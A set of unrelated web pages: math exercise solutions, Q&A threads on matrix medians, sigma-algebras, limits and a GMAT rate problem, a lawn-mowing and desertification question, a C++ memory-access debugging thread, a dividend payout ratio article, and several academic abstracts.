3 & -6 & 2 & -1 & y_1\\ -2 & 4 & 1 & 3 & y_2\\ 0 & 0 & 1 & 1 & y_3\\ 1 & -2 & 1 & 0 & y_4 \end{array}\right] \rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 0 & y_4\\ 3 & -6 & 2 & -1 & y_1\\ -2 & 4 & 1 & 3 & y_2\\ 0 & 0 & 1 & 1 & y_3 \end{array}\right] \rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 0 & y_4\\ 0 & 0 & -1 & -1 & y_1-3y_4\\ 0 & 0 & 3 & 3 & y_2+2y_4\\ 0 & 0 & 1 & 1 & y_3 \end{array}\right]$$$$\rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 0 & y_4\\ 0 & 0 & 0 & 0 & y_1-3y_4+y_3\\ 0 & 0 & 0 & 0 & y_2+2y_4+3y_3\\ 0 & 0 & 1 & 1 & y_3 \end{array}\right] \rightarrow \left[\begin{array}{cccc|c} 1 & -2 & 1 & 0 & y_4\\ 0 & 0 & 1 & 1 & y_3\\ 0 & 0 & 0 & 0 & y_1-3y_4+y_3\\ 0 & 0 & 0 & 0 & y_2+2y_4+3y_3 \end{array}\right]$$Thus $(y_1,y_2,y_3,y_4)$ must satisfy \begin{alignat*}{1} y_1+y_3-3y_4 &= 0\\ y_2 + 3y_3 + 2y_4 &= 0 \end{alignat*}The matrix for this system is $$\left[\begin{array}{cccc} 1 & 0 & 1 & -3\\ 0 & 1 & 3 & 2 \end{array}\right]$$of which the general solution is $(-y_3+3y_4, -3y_3-2y_4, y_3, y_4)$ for arbitrary $y_3,y_4\in F$. These are the only $(y_1,y_2,y_3,y_4)$ for which the system $AX=Y$ has a solution. #### Exercise 1.4.10 There are seven possible $2\times3$ row-reduced echelon matrices: R_1=\left[\begin{array}{ccc} 0 &0 &0 \\ 0 & 0& 0 \end{array}\right] \label{m1} R_2=\left[\begin{array}{ccc} 1 &0 &a \\ 0 &1 & b \end{array}\right] \label{m2} R_3=\left[\begin{array}{ccc} 1 & a& 0\\ 0 &0 &1 \end{array}\right] \label{m3} R_4=\left[\begin{array}{ccc} 1 &a & b\\ 0& 0& 0 \end{array}\right] \label{m4} R_5=\left[\begin{array}{ccc} 0& 1& a\\ 0&0 &0 \end{array}\right] \label{m5} R_6=\left[\begin{array}{ccc} 0&1 &0 \\ 0&0 &1 \end{array}\right] \label{m6} R_7=\left[\begin{array}{ccc} 0& 0&1 \\ 0& 0&0 \end{array}\right] \label{m7} We must show that no two of these have exactly the same solutions. For the first one $R_1$, any $(x,y,z)$ is a solution and that's not the case for any of the other $R_i$'s. Consider next $R_7$. In this case $z=0$ and $x$ and $y$ can be anything. We can have $z\not=0$ for $R_2$, $R_3$ and $R_5$. So the only ones $R_7$ could share solutions with are $R_3$ or $R_6$. But both of those have restrictions on $x$ and/or $y$ so the solutions cannot be the same. Also $R_3$ and $R_6$ cannot have the same solutions since $R_6$ forces $y=0$ while $R_3$ does not. Thus we have shown that if two $R_i$'s share the same solutions then they must be among $R_2$, $R_4$, and $R_5$. The solutions for $R_2$ are $(-az, -bz, z)$, for $z$ arbitrary. The solutions for $R_4$ are $(-a'y-b'z,y,z)$ for $y,z$ arbitrary. Thus $(-b',0,1)$ is a solution for $R_4$. Suppose this is also a solution for $R_2$. Then $z=1$ so it is of the form $(-a,-b,1)$ and it must be that $(-b',0,1)=(-a,-b,1)$. Comparing the second component implies $b=0$. But if $b=0$ then $R_2$ implies $y=0$. But $R_4$ allows for arbitrary $y$. Thus $R_2$ and $R_4$ cannot share the same solutions. The solutions for $R_2$ are $(-az, -bz, z)$, for $z$ arbitrary. The solutions for $R_5$ are $(x,-a'z,z)$ for $x,z$ arbitrary. Thus $(0,-a',1)$ is a solution for $R_5$. As before if this is a solution of $R_2$ then $a=0$. But if $a=0$ then $R_2$ forces $x=0$ while in $R_5$ $x$ can be arbitrary. Thus $R_2$ and $R_5$ cannot share the same solutions. The solutions for $R_4$ are $(-ay-bz,y,z)$ for $y,z$ arbitrary. The solutions for $R_5$ are $(x,-a'z,z)$ for $x,z$ arbitrary. Thus setting $x=1$, $z=0$ gives $(1,0,0)$ is a solution for $R_5$. But this cannot be a solution for $R_4$ since if $y=z=0$ then first component must also be zero. Thus we have shown that no two $R_i$ and $R_j$ have the same solutions unless $i=j$.
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https://zbmath.org/?q=ai%3Abroutin.nicolas+ai%3Akang.ross-j
× # zbMATH — the first resource for mathematics Bounded monochromatic components for random graphs. (English) Zbl 1387.05190 Summary: We consider vertex partitions of the binomial random graph $$G_{n,p}$$. For $$np \rightarrow \infty$$, we observe the following phenomenon: in any partition into asymptotically fewer than $$\chi (G_{n,p})$$ parts, i.e. $$o(np \: / \log np)$$ parts, one part must induce a connected component of order at least roughly the average part size. Stated another way, we consider the $$t$$-component chromatic number, the smallest number of colours needed in a colouring of the vertices for which no monochromatic component has more than $$t$$ vertices. As long as $$np \rightarrow \infty$$, there is a threshold for $$t$$ around $$\Theta (p^{-1} \log np)$$: if $$t$$ is smaller then the $$t$$-component chromatic number is nearly as large as the chromatic number, while if $$t$$ is greater then it is around $$n/t$$. For $$0 < p < 1$$ fixed, we obtain more precise information. We find something more subtle happens at the threshold $$t = \Theta (\log n)$$, and we determine that the asymptotic first-order behaviour is characterised by a non-smooth function. Moreover, we consider the $$t$$-component stability number, the maximum order of a vertex subset that induces a subgraph with maximum component order at most $$t$$, and show that it is concentrated in a constant length interval about an explicitly given formula, so long as $$t = O(\log \log n)$$. We also consider a related Ramsey-type parameter and use bounds on the component stability number of $$G_{n, 1/2}$$ to describe its basic asymptotic growth. ##### MSC: 05C70 Edge subsets with special properties (factorization, matching, partitioning, covering and packing, etc.) 05C15 Coloring of graphs and hypergraphs 05C80 Random graphs (graph-theoretic aspects) Full Text:
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http://mathoverflow.net/questions/93017/median-of-matrices
# median of matrices I have $n$ positive definite Hermitian matrices $M_n$ and I want to define and compute their median. These matrices correspond to independent estimations of a covariance matrix in the presence of some noise I cannot quantify, hence the desire to use a median as opposed to a mean (non gaussian residuals / outliers). I could: (1) look for a positive definite Hermitian matrix that minimizes $d(M,(M_k)) = \sum \|M-M_k\|_1$. (2) or I could look a the eigen decompositions $M_k = Q_k \Lambda_k Q_k^T$ (with $\Lambda_k$ sorted) and define $\Lambda = med\ \Lambda_k$ and $Q$ as the orthogonal matrix that minimizes $d(Q,(Q_k))$. (3) or simply look for the closest (for norm $\|.\|_2$) matrix to the matrix of the element-wise medians. - Kjetil's idea of using the geometric median (=minimizer of the sum of distances) can also be combined with the classical Riemannian distance on positive definite matrices (see e.g. Chapter 6 of Bhatia, Positive Definite Matrices). There are several articles on computing the mean (=minimizer of the sum of squared distances) with respect to this distance; as far as I know the median is unexplored (although the same ideas could probably work, it's mainly optimization on manifolds through quasi-Newton methods, so it doesn't really matter what is the objective function). With respect to the Euclidean metric, this choice has the advantage that you do not need to do any tricks to ensure positive-definiteness. - I realize my question is ill-defined, but is there a strong reason to prefer the Riemannian distance on positive definite matrices (which is just the Euclidian distance on their logs if I understand well) to any other distance? If I were to look at the case of dimension 1, assuming that I have estimated the variance of a random variable using 2 different samples, producing estimators $\sigma_1^2$ and $\sigma_2^2$, I would combine them by taking the arithmetic mean, not the geometric mean. Am I missing something? – Bernard Apr 4 '12 at 15:43 Good question. In some applications it makes more sense, especially when you are estimating matrices whose inverse has also a "meaning". It depends on how your errors are distributed I think. The main advantage that I envision, as I said, is that positive definiteness is nicely embedded in the model and you do not have to do anything artificial to preserve it. – Federico Poloni Apr 4 '12 at 20:32 And if you want to calculate the geometric median using optimization, remember that unconstrained optimization is easier. So you want to find a good parametrization to use for posdef matrices. See the paper: "Unconstrained Parameterizations for Variance-Covariance Matrices " by Jose C. Pinheiro and Douglas M. Bates Google will find that, it is open-access. – kjetil b halvorsen Apr 5 '12 at 21:19 Here are some relevant Wikipedia articles: http://en.wikipedia.org/wiki/Frechet_mean The generalization of this to a median is sometimes called the geometric median: http://en.wikipedia.org/wiki/Geometric_median - Maybe this can point in a/the right direction: http://www.pnas.org/content/97/4/1423.full.pdf I think they do medians of vectors there but it's a start. - It's intuitively desirable for the answer not to depend on a unitary transform of the matrix. To estimate the distance of our estimate to the other matrices, a natural choice is the Kullback-Leibler divergence. The equivalent of a mean is then to pick: $$\hat{\Sigma} = \text{argmin} \left( \sum _{k=1}^{n} \text{tr}\left(\Sigma^{-1}\Sigma_k\right)-\lg \left(\left|\Sigma^{-1}\Sigma_k\right|\right)-d\right)$$ Matrix calculus actually tells us that $$\hat{\Sigma} = \frac{1}{n}\sum _{k=1}^n \Sigma_k$$ too see why differentiate with respect to $\Sigma^{-1}$ Handwaving follows: In a way, the KL-divergence plays the role of the squared distance here, since the average matrix minimizes the average KL-divergence. Note that this is similar to the Riemann metric, but instead of looking at $\sum_i \lg{(\lambda_i)}^2$ we're looking at $\sum_i \lambda_i-\lg{(\lambda_i)}-1$. If the matrix are contained in a small ball, the $\lambda_i$ are close to $1$ and the difference between the two functions - up to a scaling factor - is $O((\lambda_i-1)^3)$. The KL-divergence has a probabilistic interpretation which isn't clear with the Riemann metric. We could get a median by using the square root of the KL-divergence. $$\hat{\Sigma} = \text{argmin} \left( \sum _{k=1}^{n} \sqrt{ \text{tr}\left(\Sigma^{-1}\Sigma_k\right)-\lg \left(\left|\Sigma^{-1}\Sigma_k\right|\right)-d}\right)$$ It's easy to compute iteratively since $$\frac{df}{d\Sigma} = \sum _{k=1}^{n} \frac{(\mathbf{I} - \Sigma^{-1}\Sigma_k)\Sigma^{-1}}{2\sqrt{ \text{tr}\left(\Sigma^{-1}\Sigma_k\right)-\lg \left(\left|\Sigma^{-1}\Sigma_k\right|\right)-d}}$$ - Positive definite Hermitian matrices form a Cartan-Hadamard manifold the Riemannian distance and the explicite expressions of geodesics in this manifold are known (see R. Bhatia's book "Positive definite matrices"), so that your problem can be solved by the subgradient algorithm in the following article: Riemannian median and its estimation, LMS J.Comput. Math. 13(2010), 461-479 Moreover, stochatic algorithms for finding p-means (p=1 for medians and p=2 for barycenters) in Riemannian manifolds can be found in the article: Stochastic algorithms for computing means of probability measures, Stochastic Processes and their Applications, Volume 122, Issue 4, April 2012, Pages 1437–1455 Deterministic algorithms for computing p-means can be found in Chpter 4 of the thesis (French title but English contents): http://tel.archives-ouvertes.fr/tel-00664188 -
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http://math.stackexchange.com/questions/201130/cylindrical-sigma-algebra-and-continuous-functions?answertab=votes
Cylindrical sigma algebra and continuous functions. Consider the space $\mathbb R^{[0,1]}$ of all functions from $[0,1]$ to $\mathbb R$ and the cylindrical sigma algebra $\mathcal B$ on it. I know how to prove that $C[0,1]\not \in \mathcal B$. My question is the following: does there exist a subset of $C[0,1]$ that is in $\mathcal B$? Thank you. - By cylindrical $\sigma$-algebra, do you mean the $\sigma$-algebra generated by the sets of the form $\{x\in \Bbb R^{[0,1]},x(t_j)\in B_j,j\in J\}$ where $J\subset [0,1]$ is finite and $B_j$ are Borel subsets of $\Bbb R$? – Davide Giraudo Sep 23 '12 at 13:18 @DavideGiraudo: You and I seem to be in lockstep this morning :) Do you want to take this one? – Nate Eldredge Sep 23 '12 at 13:19 Yes, presicely this. – Tarasenya Sep 23 '12 at 13:20 @NateEldredge I just saw your comment, and I've taken it. Hoping it's correct... – Davide Giraudo Sep 23 '12 at 13:46 We have $$\mathcal B=\{\{x\colon [0,1]\to \Bbb R,x(t_j)\in B_j,\mbox{ for all }j\in J\}, J\subset [0,1]\mbox{ at most countable},B_j\in\mathcal B(\Bbb R),\\t_j\in [0,1]\}.$$ Indeed, this class contains the cylindrical sets and is a $\sigma$-algebra. If a $\sigma$-algebra contains the cylindrical sets, it will contain $\mathcal B$ as a countable intersection of such sets. Now, we can see that no $S\subset C[0,1]$ (except the emptyset) is in $\mathcal B$. Indeed, $\mathcal B$ only gives conditions on the values of the map over a countable set. If $S\in\mathcal B$, let $\{t_j,j\in J\}\subset [0,1]$ as in the definition. Then taking $x(t_j)=a_j$, where $a_j\in B_j$, and $x(t)=\alpha\neq a_0$ when $t\notin \{t_j,j\in J\}$, this map is in $\mathcal B$ but not continuous (a neighborhood of $t_0$ will contain points which are not $t_j$). wow! and the same method seems to work when we want to prove that no subset of bounded or measurable functions, for instance, is in $\mathcal B$. Great! – Tarasenya Sep 23 '12 at 15:09 I was wondering: in which context do you use cylindrical $\sigma$-algebra? – Davide Giraudo Sep 23 '12 at 15:16
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http://mathhelpforum.com/calculus/157672-graph-piecewise-function-use-determine-values-l.html
# Thread: Graph this piecewise function and use it to determine the values of a for which the l 1. ## Graph this piecewise function and use it to determine the values of a for which the l $\begin{displaymath} f(x) = \left\{ \begin{array}{lr} 2-x & if x<-1\\ x & if -1<=x<1\\ (x-1)^2 & if x>=e1 \end{array} \right. \end{displaymath}$ I'm supposed to graph this piecewise function and use it to determine the values of a for which the limit of f(x) exists as x approaches a. I'm not entirely sure how to start this question. Looking on the graph I'm thinking the only place where the limit of f(x) as x approaches a doesn't exist is -1 and 1. Could someone please explain? That is the graph. So does the limit of f(x) as x approaches a exist everywhere except 1 and -1 ? 2. Originally Posted by iamanoobatmath $\begin{displaymath} f(x) = \left\{ \begin{array}{lr} 2-x & if x<-1\\ x & if -1<=x<1\\ (x-1)^2 & if x>=e1 \end{array} \right. \end{displaymath}$ I'm supposed to graph this piecewise function and use it to determine the values of a for which the limit of f(x) exists as x approaches a. I'm not entirely sure how to start this question. Looking on the graph I'm thinking the only place where the limit of f(x) as x approaches a doesn't exist is -1 and 1. Could someone please explain? That is the graph. So does f(x) exist everywhere 1 and -1 Well, f(x) is defined over all the reals, but $\displaystyle\lim_{x\to a}f(x)$ does not exist at a=-1 and a=1 as you said. There's really not a lot to it. (If you want some more detail: at those points left and right limits exist, but they are not equal.) Nice presentation with LaTeX and graph. 3. Originally Posted by undefined Nice presentation with LaTeX and graph. Wolframlpha is a life safer when the bloody textbook and the solution manual only gives answers to odd questions. Nice name, btw.
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http://gmatclub.com/forum/airplanes-a-and-b-traveled-the-same-360-mile-route-128466.html?fl=similar
Find all School-related info fast with the new School-Specific MBA Forum It is currently 02 Sep 2015, 15:46 GMAT Club Daily Prep Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email. Customized for You we will pick new questions that match your level based on your Timer History Track every week, we’ll send you an estimated GMAT score based on your performance Practice Pays we will pick new questions that match your level based on your Timer History Events & Promotions Events & Promotions in June Open Detailed Calendar Airplanes A and B traveled the same 360-mile route Author Message TAGS: Retired Moderator Status: 2000 posts! I don't know whether I should feel great or sad about it! LOL Joined: 04 Oct 2009 Posts: 1719 Location: Peru Schools: Harvard, Stanford, Wharton, MIT & HKS (Government) WE 1: Economic research WE 2: Banking WE 3: Government: Foreign Trade and SMEs Followers: 79 Kudos [?]: 511 [0], given: 109 Airplanes A and B traveled the same 360-mile route [#permalink]  02 Mar 2012, 08:28 00:00 Difficulty: 5% (low) Question Stats: 95% (02:05) correct 5% (00:43) wrong based on 76 sessions Airplanes A and B traveled the same 360-mile route. If airplane A took 2 hours and airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, how many hours did it take airplane B to travel the route? (A) 2 (B) $$2\frac{1}{3}$$ (C) $$2\frac{1}{2}$$ (D) $$2\frac{2}{3}$$ (E) 3 I agree with the OA. However, something that I don't understand is why cannot analyze it in this way: The question says that airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, right? The OE says that, based on this info, that airplane A travels at 180 mph, so airplane B travels at 120 mph (1/3 slower). Why cannot "1/3 slower" mean this? A ---- 180 miles / 1 hour B ---- 180 miles /[(4/3)*1hour] Source: http://www.gmathacks.com [Reveal] Spoiler: OA _________________ "Life’s battle doesn’t always go to stronger or faster men; but sooner or later the man who wins is the one who thinks he can." My Integrated Reasoning Logbook / Diary: my-ir-logbook-diary-133264.html GMAT Club Premium Membership - big benefits and savings Kaplan Promo Code Knewton GMAT Discount Codes Veritas Prep GMAT Discount Codes Math Expert Joined: 02 Sep 2009 Posts: 29194 Followers: 4742 Kudos [?]: 50152 [1] , given: 7529 Re: Airplanes A and B traveled the same 360-mile route [#permalink]  02 Mar 2012, 08:47 1 KUDOS Expert's post metallicafan wrote: Airplanes A and B traveled the same 360-mile route. If airplane A took 2 hours and airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, how many hours did it take airplane B to travel the route? (A) 2 (B) $$2\frac{1}{3}$$ (C) $$2\frac{1}{2}$$ (D) $$2\frac{2}{3}$$ (E) 3 I agree with the OA. However, something that I don't understand is why cannot analyze it in this way: The question says that airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, right? The OE says that, based on this info, that airplane A travels at 180 mph, so airplane B travels at 120 mph (1/3 slower). Why cannot "1/3 slower" mean this? A ---- 180 miles / 1 hour B ---- 180 miles /[(4/3)*1hour] Source: http://www.gmathacks.com The red part should be 3/2. I'd approach this question in different manner and hope that it helps you to understand the question better. Since B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, then the speed of B was $$\frac{2}{3}$$ of that of A ($$x-\frac{1}{3}x=\frac{2}{3}x$$). So, airplane B would need $$\frac{3}{2}$$ times more time to cover the same distance: $$2*\frac{3}{2}=3$$ hours. That's because time*rate=distance, so if you decrease rate 2/3 times you'll need 3/2 times as many hours to cover the same distance. _________________ SVP Joined: 06 Sep 2013 Posts: 2046 Concentration: Finance GMAT 1: 770 Q0 V Followers: 32 Kudos [?]: 345 [0], given: 355 Re: Airplanes A and B traveled the same 360-mile route [#permalink]  31 Dec 2013, 09:41 metallicafan wrote: Airplanes A and B traveled the same 360-mile route. If airplane A took 2 hours and airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, how many hours did it take airplane B to travel the route? (A) 2 (B) $$2\frac{1}{3}$$ (C) $$2\frac{1}{2}$$ (D) $$2\frac{2}{3}$$ (E) 3 I agree with the OA. However, something that I don't understand is why cannot analyze it in this way: The question says that airplane B traveled at an average speed that was $$\frac{1}{3}$$ slower than the average speed of airplane A, right? The OE says that, based on this info, that airplane A travels at 180 mph, so airplane B travels at 120 mph (1/3 slower). Why cannot "1/3 slower" mean this? A ---- 180 miles / 1 hour B ---- 180 miles /[(4/3)*1hour] Source: http://www.gmathacks.com Easy question A traveled at 180mph 2/3*180 = 120mph Hence B made the trip in 360/120 = 3 hours Or recall that as distance is constant, then B will need 3/2 as much time as A to cover same distance So it will give 3 as well Hope it helps Cheers! J Re: Airplanes A and B traveled the same 360-mile route   [#permalink] 31 Dec 2013, 09:41 Similar topics Replies Last post Similar Topics: 6 Cars A and B are traveling from Town X to Town Y on the same route at 4 09 Jan 2015, 14:44 5 Two trains are traveling on parallel tracks in the same direction. The 5 06 Jan 2015, 07:02 15 A, B, K start from the same place and travel in the same direction at 12 07 Dec 2014, 03:36 2 Frank and Georgia started traveling from A to B at the same time. Geo 3 28 Oct 2014, 09:40 Car X and Car Y traveled the same 80-mile route. If Car X to 1 01 Mar 2014, 04:02 Display posts from previous: Sort by
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https://earthscience.stackexchange.com/questions/19955/can-the-frequent-mowing-without-watering-cause-the-total-desertification-in-arid
# Can the frequent mowing without watering cause the total desertification in arid climate? The law describes several modes of lawn care like type max height, cm cut height, cm cuts per season watering per season parterre 5 2 ~ 4 15 ~ 18 30 usual 10 3 ~ 5 10 ~ 14 16 meadow 20 3 ~ 5 2 ~ 5 0 Climate in south-eastern Ukraine is +30C all the summer, almost no rains. Housing maintenance organizations usually have no any means to water the lawns, no money, no equipment for watering at all. Last 50 years most lawns were kept in meadow mode, that means that they were cut about twice a year without any watering. The grass was very healthy, high and very diverse. About 3 years ago all urban areas were switched to the "usual" mode ( tick and ragweed control ) In fact that means that the lawns are cut to zero several times per season without any watering. As a result many lawns are yellow and dead for a long time and I see the gradual turf degradation. You can see it at two photos made in the almost the same date ( end of April, start of March ) with three years interval: Also we have the mass death of the birches in the areas where the grass is regularly cut under them. The officials say that they just follow the instructions to fight tick and ragweed and the grass will regrow later when we will have more rain. I described my understanding in several theses below. Please write me where I am right or wrong. 1. The surface of the grass is the catalyst of the dew. 2. The higher the grass the more dew it will produce 3. The dew evaporates during the day decreasing the temperature and increasing the humidity 4. The dew is daily precipitation that is important for all plants including the trees 5. The death of the birches could be caused by the absence of the high grass and the absence of the dew. 6. The turf degradation will continue if the grass is cut to zero several times per season without any watering. 7. The turf degradation will cause the desertification in several years and eventually the death of most trees because level of evaporation will be higher and the amount of the dew will be zero. ( Also I will be very obliged if somebody could help me to contact the expert in the area of overgrazing and desertification.) • A general remark that could help: frequent mowing not, as long as only the surface parts are affected, drought yes. Because of its evolutionary history (coevolution with herd animals, e.g. academic.oup.com/jpe/article/11/2/248/2738898) it is resistent against mowing/grazing. But the subsurface part, the rhizome needs some moisture. Drought will, depending on the type of grass, finish it off. – user20217 Jul 21 '20 at 15:35 • The idea is like this: keeping the grass short means drought because dewfall will be close to zero. Jul 22 '20 at 4:06 • I got that :-) But grass is not a succulent, it lives by the roots. I would also take lack of rain, if there is such a lack, poisoned ground or overly use of herbicides, compaction of the ground or that the soil is inept for growing grass into consideration. – user20217 Jul 22 '20 at 9:56 • I think you are right. I don't have scientific papers to back this, but any sustainable gardening magazine will tell you to mow less often and/or higher to prevent the grass from dying of drought. It has to do with a simple concept: evapotranspiration. With longer grass you prevent the soil from losing its water through evapotranspiration. Look for "sustainable lawn" for more info, and try to convince your local authority! Many towns have already turned to better practices. Jul 23 '20 at 7:30 • Herb size is related to dewfall amount: "After crops were planted the number of dewfall-nights and the amount of dewfall per event rose quickly and eventually surpassed that on the lysimeters with grass. After harvest both parameters dropped well below the values on the grass lysimeters again." ( sciencedirect.com/science/article/pii/S0022169409004806 ) Jul 23 '20 at 10:44
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https://www.aarpmedicareplans.com/channel/maple-syrup-urine-disease_supplements
# Maple Syrup Urine Disease supplementsMaple Syrup Urine Disease • Thiamin (also spelled "thiamine") is a water-soluble B-complex vitamin, previously known as vitamin B1 or aneurine. Thiamin was isolated and characterized in the 1920s, and thus was one of the first organic compounds to be recognized as a vitamin. Thiamin is involved in numerous body functions, including: nervous system and muscle functioning; flow of electrolytes in and out of nerve and muscle cells (through ion channels); multiple enzyme processes (via the coenzyme thiamin pyrophosphate); carbohydrate metabolism; and production of hydrochloric acid (which is necessary for proper digestion). Because there is very little thiamin stored in the body, depletion can occur as quickly as within 14 days. Severe chronic thiamin deficiency (beriberi) can result in potentially serious complications involving the nervous system/brain, muscles, heart, and gastrointestinal system. Dietary sources of thiamin include beef, brewer's yeast, legumes (beans, lentils), milk, nuts, oats, oranges, pork, rice, seeds, wheat, whole grain cereals, and yeast. In industrialized countries, foods made with white rice or white flour are often fortified with thiamin (because most of the naturally occurring thiamin is lost during the refinement process). Source:NaturalStandard
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http://m.library2.smu.ca/handle/01/21881/browse?type=author&value=Lawson%2C+Ronald
# Browsing Articles by Author "Lawson, Ronald" Sort by: Order: Results: • (University of Chicago Press, 1980) Many recent studies have documented the presence of sexism in American society, charted the oppressive impact of discrimination against women, and traced its sources. So ubiquitous is sexism, and so pervasive the engines ...
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http://www.cplusplus.com/forum/general/85619/
### Unhandled exception HI all, when i run this code i get error message said "Unhandled exception at 0x012D9116 in prog.exe: 0xC0000005: Access violation reading location 0x0126E710." and the prog stop running. Note: in main(), and when i remove the loop, prog executed properly. can you help me? 123456789101112131415161718192021222324252627282930313233343536373839 char x1[50][50][50]; unsigned x2[3][50][50]; void fn1(){ unsigned* x3= new unsigned[50]; //... //... delete [] x3; } void fn2(){ int i,j; double *x4= new double[50]; char*** x5; x5=new char**[50]; for (i = 0; i < 50; ++i) { x5[i] = new char*[50]; for (j = 0; j < 50 ; ++j) x5[i][j] = new char[50];} // ... //... delete[] x4; for (i = 0; i < 50; ++i) { for ( j = 0; j < 50; ++j) delete [] x5[i][j]; delete [] x5[i]; } delete [] x5; } int main(){ int i=100; while (i--) { fn1(); fn2(); } retrn 0; } Last edited on The problem is probably somewhere in the code you haven't posted. Last edited on yes, yes, i found that i tried to access x3[-99] in fun1() :D :D in the sec loop iteration of main. thanks a lot, i'll trying to fix the problem and ask again. greetings. hi again, if i have this code in fn2() 1234 for(i=0; i<50; i++) for(x=0 ; x is there any way to directly change x1 addresse and make it points to x5? No. 1_ Use std::swap() with std::vector A_ Maintain both matrix, select with a pointer \alpha_ Construct directly in x1' ¿why so much abuse with dynamic allocation? okay, thanks. it's in real genetic algorithm implementation(multi-objective land use allocation problem),and i always have run out of memory, because of the large size of the chromosome. *actually now i use: 123456789101112131415161718192021222324252627 char x1[50][50][50]; unsigned x2[3][50][50]; void fn1(){ unsigned* x3= new unsigned[50]; //... //... delete [] x3; } void fn2(){ int i,j; double *x4= new double[50]; char x5[50][50][50]; // ... //... delete [] x4; } int main(){ int i=100; while (i--) { fn1(); fn2(); } retrn 0; }` Last edited on Topic archived. No new replies allowed.
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http://blekko.com/wiki/Dividend_payout_ratio?source=672620ff
Dividend payout ratio Dividend payout ratio is the fraction of net income a firm pays to its stockholders in dividends: $\mbox{Dividend payout ratio}=\frac{\mbox{Dividends}}{\mbox{Net Income for the same period}}$ The part of the earnings not paid to investors is left for investment to provide for future earnings growth. Investors seeking high current income and limited capital growth prefer companies with high Dividend payout ratio. However investors seeking capital growth may prefer lower payout ratio because capital gains are taxed at a lower rate. High growth firms in early life generally have low or zero payout ratios. As they mature, they tend to return more of the earnings back to investors. Note that dividend payout ratio is calculated as DPS/EPS. According to Financial Accounting by Walter T. Harrison, the calculation for the payout ratio is as follows: Payout Ratio = (Dividends - Preferred Stock Dividends)/Net Income The dividend yield is given by earnings yield times DPR: $\begin{array}{lcl} \mbox{Current Dividend Yield} & = & \frac{\mbox{Most Recent Full-Year Dividend}}{\mbox{Current Share Price}} \\ & = & \frac{\mbox{Dividend payout ratio}\times \mbox{Most Recent Full-Year earnings per share}}{\mbox{Current Share Price}} \\ \end{array}$ Conversely, the P/E ratio is the Price/Dividend ratio times the DPR. Some companies chose stock buybacks as an alternative to dividends, in such cases this ratio becomes less meaningful. One way to adapt it using an augmented payout ratio:[1] Augmented Payout Ratio = (Dividends + Buybacks)/ Net Income for the same period Historic Data The data for S&P 500 is taken from.[2] The payout rate has gradually declined from 90% of operating earnings in 1940s to about 30% in recent years. Change Dividend Contribution Total Return Dividends as % of Total Return Average Payout 1930s-41.90%56.00%14.10%N/A90.10% 1940s34.8100.3135.174.20%59.4 1950s256.7180436.741.254.6 1960s53.754.2107.950.256 1970s17.259.176.377.545.5 1980s227.4143.1370.538.648.6 1990s315.795.5411.223.247.6 2000s-158.6-6.4N/A32.3 Average106.10%87.10%193.20%50.80%54.30% For smaller, growth companies, the average payout ratio can be as low as 10%.[3]
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https://math.au.dk/aktuelt/aktiviteter/event/aktivitet/6178?cHash=308e6752162de6f0f7a4368985c46d4d
# An adiabatic approach to spin transport in insulators Gianluca Panati ("La Sapienza" University of Rome) Tirsdag 8. december 2020 16:15 Zoom Mathematics seminar The theory of spin transport in quantum systems, as compared to charge transport, is still in a preliminary stage. Whenever the spin operator does not commute with the unperturbed Hamiltonian operator, as it happens in the so-called Rashba insulators, the lack of commutativity poses technical and conceptual problems for the theory. In my talk, I will first address some foundational questions in spin transport theory. Then, I will present a new formula for the transverse spin conductivity in gapped (periodic) quantum systems, which generalizes to spin the celebrated double-commutator formula for charge conductivity, sometimes dubbed Kubo-Chern formula. As a corollary, one obtains that whenever the spin is (almost) conserved, the transverse spin conductivity is (approximately) equal to the spin-Chern number. The method of proof relies on the characterization of a non-equilibrium almost-stationary state (NEASS), which well approximates the physical state of the system (in the sense of space-adiabatic perturbation theory) and allows moreover to compute the response of the adiabatic spin current as the trace per unit volume of the spin current operator times the NEASS. The talk is based on results obtained jointly with G. Marcelli and S. Teufel, and with G. Marcelli and C. Tauber.
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https://nips.cc/Conferences/2021/ScheduleMultitrack?event=28734
` Timezone: » Poster An Analysis of Constant Step Size SGD in the Non-convex Regime: Asymptotic Normality and Bias Lu Yu · Krishnakumar Balasubramanian · Stanislav Volgushev · Murat Erdogdu Thu Dec 09 12:30 AM -- 02:00 AM (PST) @ None #None Structured non-convex learning problems, for which critical points have favorable statistical properties, arise frequently in statistical machine learning. Algorithmic convergence and statistical estimation rates are well-understood for such problems. However, quantifying the uncertainty associated with the underlying training algorithm is not well-studied in the non-convex setting. In order to address this shortcoming, in this work, we establish an asymptotic normality result for the constant step size stochastic gradient descent (SGD) algorithm---a widely used algorithm in practice. Specifically, based on the relationship between SGD and Markov Chains [DDB19], we show that the average of SGD iterates is asymptotically normally distributed around the expected value of their unique invariant distribution, as long as the non-convex and non-smooth objective function satisfies a dissipativity property. We also characterize the bias between this expected value and the critical points of the objective function under various local regularity conditions. Together, the above two results could be leveraged to construct confidence intervals for non-convex problems that are trained using the SGD algorithm.
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https://solvedlib.com/n/questio-quot-11feconsider-thereaction-shown-below-fadh-would,5863490
